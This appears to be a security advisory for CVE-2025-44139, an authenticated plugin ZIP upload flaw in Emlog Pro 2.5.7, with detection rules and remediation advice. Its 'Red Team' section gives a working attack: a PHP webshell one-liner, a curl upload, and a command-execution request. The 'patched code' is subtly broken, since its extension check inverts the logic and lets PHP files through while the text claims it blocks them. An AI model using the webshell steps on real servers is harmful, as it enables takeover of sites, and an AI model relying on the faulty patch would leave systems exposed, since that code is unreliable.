CVE-2025-44139

Executive Summary

CVE-2025-44139 is a critical Unrestricted File Upload vulnerability affecting Emlog Pro version 2.5.7. The flaw resides in the /emlog/admin/plugin.php?action=upload_zip endpoint, allowing an authenticated administrator to upload a malicious ZIP archive containing arbitrary PHP files. Once uploaded, the attacker can extract and execute the PHP file, leading to full remote code execution (RCE) on the web server. This vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type) and is currently unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is severe for any instance running the vulnerable version.

Supply Chain & Package Security

Emlog Pro is a PHP-based blogging platform. The vulnerability is introduced through the plugin upload mechanism, which does not validate the contents of uploaded ZIP files. This is a supply chain risk because malicious plugins could be distributed as legitimate updates. Administrators should only install plugins from trusted sources and verify file integrity.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) – requires admin login
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Base Score: 7.2 (High)

The high privileges required reduce the base score, but the impact is severe as an admin can fully compromise the server.

Deep Dive & Mechanics

The vulnerability is triggered by sending a POST request to /emlog/admin/plugin.php?action=upload_zip with a ZIP file containing a PHP webshell. The application extracts the ZIP into the plugins directory without checking the file types inside. The attacker then accesses the uploaded PHP file directly via the web server, achieving code execution.

Root Cause: The upload_zip action in plugin.php uses PHP's ZipArchive to extract files but does not validate the file extensions or content. The extracted files are placed in the content/plugins/ directory, which is web-accessible.

Attack Flow:

1. Authenticate as admin.
2. Craft a ZIP file containing a PHP webshell (e.g., shell.php).
3. POST the ZIP to /emlog/admin/plugin.php?action=upload_zip.
4. Access http://target.com/content/plugins/shell.php to execute commands.

Vulnerable vs. Patched Code

Vulnerable Code (Emlog Pro 2.5.7):

// plugin.php (simplified)
if ($action == 'upload_zip') {
    $file = $_FILES['file'];
    $zip = new ZipArchive();
    if ($zip->open($file['tmp_name']) === TRUE) {
        $zip->extractTo('../content/plugins/');
        $zip->close();
        echo 'Plugin uploaded successfully.';
    }
}

Patched Code (Hypothetical):

// plugin.php (patched)
if ($action == 'upload_zip') {
    $file = $_FILES['file'];
    $zip = new ZipArchive();
    if ($zip->open($file['tmp_name']) === TRUE) {
        for ($i = 0; $i < $zip->numFiles; $i++) {
            $filename = $zip->getNameIndex($i);
            $ext = pathinfo($filename, PATHINFO_EXTENSION);
            if (!in_array($ext, ['php', 'phtml', 'php3', 'php4', 'php5', 'pht'])) {
                // Block dangerous extensions
                die('Invalid file type in ZIP.');
            }
        }
        $zip->extractTo('../content/plugins/');
        $zip->close();
        echo 'Plugin uploaded successfully.';
    }
}

The patched version checks each file's extension before extraction, blocking PHP files.

Exploitation & Lab Setup

Red Team

Prerequisites: Admin credentials for Emlog Pro 2.5.7.

Step 1: Create Malicious ZIP

# Create a PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Zip it
zip malicious.zip shell.php

Step 2: Upload via cURL

curl -X POST -F "file=@malicious.zip" -b "PHPSESSID=your_session_id" http://target.com/emlog/admin/plugin.php?action=upload_zip

Step 3: Execute Commands

curl "http://target.com/content/plugins/shell.php?cmd=id"

Expected Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

1. Monitor for POST requests to /emlog/admin/plugin.php?action=upload_zip with Content-Type: multipart/form-data.
2. Check the content/plugins/ directory for unexpected PHP files.
3. Review web server logs for access to /content/plugins/*.php shortly after admin login.

Honeypot: Deploy a fake plugin directory with a monitoring script that alerts on file creation.

Indicators of Compromise (IOCs)

• File: content/plugins/shell.php (or any unexpected PHP file in that directory)
• Network: POST request to /emlog/admin/plugin.php?action=upload_zip with a ZIP file
• Log Entry: POST /emlog/admin/plugin.php?action=upload_zip HTTP/1.1 with 200 response
• Process: php-fpm or apache2 child processes executing shell commands

Detection Engineering

YARA Rule

rule CVE_2025_44139_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via Emlog Pro plugin upload"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-44139"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
    condition:
        $php_tag and any of ($system_func, $shell_func, $exec_func)
}

Sigma Rule

title: Emlog Pro Plugin Upload Webshell Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of ZIP files containing PHP webshells to Emlog Pro
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/emlog/admin/plugin.php'
        cs-uri-query: 'action=upload_zip'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate plugin uploads from trusted sources
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-44139 Emlog Pro Plugin Upload Webshell"; flow:to_server,established; content:"POST"; http_method; content:"/emlog/admin/plugin.php"; http_uri; content:"action=upload_zip"; http_uri; content:"multipart/form-data"; http_header; content:".php"; within:100; fileext:".zip"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Plugin Upload: Remove or comment out the upload_zip action in plugin.php until a patch is available.
2. Restrict File Permissions: Set content/plugins/ to read-only for the web server user.
3. Web Application Firewall (WAF): Block POST requests to /emlog/admin/plugin.php?action=upload_zip with ZIP files.

Long-Term Fix:

• Apply vendor patch when released.
• Implement file extension validation and content scanning for uploaded archives.
• Use a Content Security Policy (CSP) to restrict script execution.

Workaround:

• Manually review all plugins before uploading.
• Use a reverse proxy to filter malicious uploads.

Valters IT
Securing Digital Frontiers